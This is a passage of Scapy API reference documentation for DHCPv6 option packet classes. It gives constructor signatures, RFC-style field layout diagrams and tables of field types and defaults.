class scapy.layers.dhcp6.DHCP6OptGeoConfElement(_pkt, /, *, CAtype=0, CAlength=None, CAvalue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L873-L877]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CATYPE    |            CALENGTH           |    CAVALUE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. DHCP6OptGeoConfElement                    


DHCP6OptGeoConfElement fields






	CAtype

	ByteField

	0



	CAlength

	FieldLenField

	None



	CAvalue

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptIAAddress(_pkt, /, *, optcode=5, optlen=None, addr='::', preflft=0, validlft=0, iaaddropts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L374-L390]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PREFLFT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VALIDLFT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IAADDROPTS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptIAAddress                      


DHCP6OptIAAddress fields






	optcode

	ShortEnumField

	5



	optlen

	FieldLenField

	None



	addr

	IP6Field

	'::'



	preflft

	IntEnumField

	0



	validlft

	IntEnumField

	0



	iaaddropts

	PacketListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L389-L390]

	








	
class scapy.layers.dhcp6.DHCP6OptIAPrefix(_pkt, /, *, optcode=26, optlen=None, preflft=0, validlft=0, plen=48, prefix='2001:db8::', iaprefopts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L767-L784]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PREFLFT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VALIDLFT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PLEN     |                     PREFIX                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           IAPREFOPTS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptIAPrefix                       


DHCP6OptIAPrefix fields






	optcode

	ShortEnumField

	26



	optlen

	FieldLenField

	None



	preflft

	IntEnumField

	0



	validlft

	IntEnumField

	0



	plen

	ByteField

	48



	prefix

	IP6Field

	'2001:db8::'



	iaprefopts

	PacketListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L783-L784]

	








	
class scapy.layers.dhcp6.DHCP6OptIA_NA(_pkt, /, *, optcode=3, optlen=None, iaid=None, T1=None, T2=None, ianaopts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L393-L402]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IAID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               T1                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               T2                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IANAOPTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DHCP6OptIA_NA                        


DHCP6OptIA_NA fields






	optcode

	ShortEnumField

	3



	optlen

	FieldLenField

	None



	iaid

	XIntField

	None



	T1

	IntField

	None



	T2

	IntField

	None



	ianaopts

	PacketListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptIA_PD(_pkt, /, *, optcode=25, optlen=None, iaid=None, T1=None, T2=None, iapdopt=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L787-L796]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IAID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               T1                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               T2                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IAPDOPT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DHCP6OptIA_PD                        


DHCP6OptIA_PD fields






	optcode

	ShortEnumField

	25



	optlen

	FieldLenField

	None



	iaid

	XIntField

	None



	T1

	IntField

	None



	T2

	IntField

	None



	iapdopt

	PacketListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptIA_TA(_pkt, /, *, optcode=4, optlen=None, iaid=None, iataopts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L405-L412]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IAID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IATAOPTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DHCP6OptIA_TA                        


DHCP6OptIA_TA fields






	optcode

	ShortEnumField

	4



	optlen

	FieldLenField

	None



	iaid

	XIntField

	None



	iataopts

	PacketListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptIfaceId(_pkt, /, *, optcode=18, optlen=None, ifaceid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L698-L704]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IFACEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DHCP6OptIfaceId                       


DHCP6OptIfaceId fields






	optcode

	ShortEnumField

	18



	optlen

	FieldLenField

	None



	ifaceid

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptInfoRefreshTime(_pkt, /, *, optcode=32, optlen=4, reftime=86400)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L843-L847]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DHCP6OptInfoRefreshTime                   


DHCP6OptInfoRefreshTime fields






	optcode

	ShortEnumField

	32



	optlen

	ShortField

	4



	reftime

	IntField

	86400















	
class scapy.layers.dhcp6.DHCP6OptLQClientLink(_pkt, /, *, optcode=48, optlen=None, linkaddress=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L958-L963]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          LINKADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptLQClientLink                     


DHCP6OptLQClientLink fields






	optcode

	ShortEnumField

	48



	optlen

	FieldLenField

	None



	linkaddress

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptMudUrl(_pkt, /, *, optcode=112, optlen=None, mudstring=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1095-L1102]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MUDSTRING           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DHCP6OptMudUrl                        


DHCP6OptMudUrl fields






	optcode

	ShortEnumField

	112



	optlen

	FieldLenField

	None



	mudstring

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptNISDomain(_pkt, /, *, optcode=29, optlen=None, nisdomain=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L815-L820]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NISDOMAIN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptNISDomain                      


DHCP6OptNISDomain fields






	optcode

	ShortEnumField

	29



	optlen

	FieldLenField

	None



	nisdomain

	DNSStrField

	b'.'















	
class scapy.layers.dhcp6.DHCP6OptNISPDomain(_pkt, /, *, optcode=30, optlen=None, nispdomain=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L823-L828]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NISPDOMAIN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptNISPDomain                      


DHCP6OptNISPDomain fields






	optcode

	ShortEnumField

	30



	optlen

	FieldLenField

	None



	nispdomain

	DNSStrField

	b'.'















	
class scapy.layers.dhcp6.DHCP6OptNISPServers(_pkt, /, *, optcode=28, optlen=None, nispservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L807-L812]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NISPSERVERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptNISPServers                     


DHCP6OptNISPServers fields






	optcode

	ShortEnumField

	28



	optlen

	FieldLenField

	None



	nispservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptNISServers(_pkt, /, *, optcode=27, optlen=None, nisservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L799-L804]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NISSERVERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptNISServers                      


DHCP6OptNISServers fields






	optcode

	ShortEnumField

	27



	optlen

	FieldLenField

	None



	nisservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptNTPServer(_pkt, /, *, optcode=56, optlen=None, ntpserver=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1010-L1017]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NTPSERVER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptNTPServer                      


DHCP6OptNTPServer fields






	optcode

	ShortEnumField

	56



	optlen

	FieldLenField

	None



	ntpserver

	PacketListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptNewPOSIXTimeZone(_pkt, /, *, optcode=41, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L933-L938]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. DHCP6OptNewPOSIXTimeZone                   


DHCP6OptNewPOSIXTimeZone fields






	optcode

	ShortEnumField

	41



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptNewTZDBTimeZone(_pkt, /, *, optcode=42, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L941-L946]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DHCP6OptNewTZDBTimeZone                   


DHCP6OptNewTZDBTimeZone fields






	optcode

	ShortEnumField

	42



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptOptReq(_pkt, /, *, optcode=6, optlen=None, reqopts=[23, 24])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L457-L462]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQOPTS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DHCP6OptOptReq                        


DHCP6OptOptReq fields






	optcode

	ShortEnumField

	6



	optlen

	FieldLenField

	None



	reqopts

	_OptReqListField

	[23, 24]















	
class scapy.layers.dhcp6.DHCP6OptPanaAuthAgent(_pkt, /, *, optcode=40, optlen=None, paaaddr=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L925-L930]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PAAADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptPanaAuthAgent                    


DHCP6OptPanaAuthAgent fields






	optcode

	ShortEnumField

	40



	optlen

	FieldLenField

	None



	paaaddr

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptPref(_pkt, /, *, optcode=7, optlen=1, prefval=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L469-L473]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PREFVAL    |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6OptPref                         


DHCP6OptPref fields






	optcode

	ShortEnumField

	7



	optlen

	ShortField

	1



	prefval

	ByteField

	255















	
class scapy.layers.dhcp6.DHCP6OptRapidCommit(_pkt, /, *, optcode=14, optlen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L597-L600]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptRapidCommit                     


DHCP6OptRapidCommit fields






	optcode

	ShortEnumField

	14



	optlen

	ShortField

	0















	
class scapy.layers.dhcp6.DHCP6OptReconfAccept(_pkt, /, *, optcode=20, optlen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L729-L732]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptReconfAccept                     


DHCP6OptReconfAccept fields






	optcode

	ShortEnumField

	20



	optlen

	ShortField

	0















	
class scapy.layers.dhcp6.DHCP6OptReconfMsg(_pkt, /, *, optcode=19, optlen=1, msgtype=11)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L712-L717]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |
+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptReconfMsg                      


DHCP6OptReconfMsg fields






	optcode

	ShortEnumField

	19



	optlen

	ShortField

	1



	msgtype

	ByteEnumField

	11















	
class scapy.layers.dhcp6.DHCP6OptRelayAgentERO(_pkt, /, *, optcode=43, optlen=None, reqopts=[23, 24])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L949-L955]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQOPTS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptRelayAgentERO                    


DHCP6OptRelayAgentERO fields






	optcode

	ShortEnumField

	43



	optlen

	FieldLenField

	None



	reqopts

	_OptReqListField

	[23, 24]















	
class scapy.layers.dhcp6.DHCP6OptRelayMsg(_pkt, /, *, optcode=9, optlen=None, message=<DHCP6  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1155-L1161]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MESSAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptRelayMsg                       


DHCP6OptRelayMsg fields






	optcode

	ShortEnumField

	9



	optlen

	FieldLenField

	None



	message

	PacketLenField

	<DHCP6  |>















	
class scapy.layers.dhcp6.DHCP6OptRelaySuppliedOpt(_pkt, /, *, optcode=66, optlen=None, relaysupplied=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1055-L1062]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         RELAYSUPPLIED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. DHCP6OptRelaySuppliedOpt                   


DHCP6OptRelaySuppliedOpt fields






	optcode

	ShortEnumField

	66



	optlen

	FieldLenField

	None



	relaysupplied

	PacketListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptRemoteID(_pkt, /, *, optcode=37, optlen=None, enterprisenum=None, remoteid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L893-L901]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
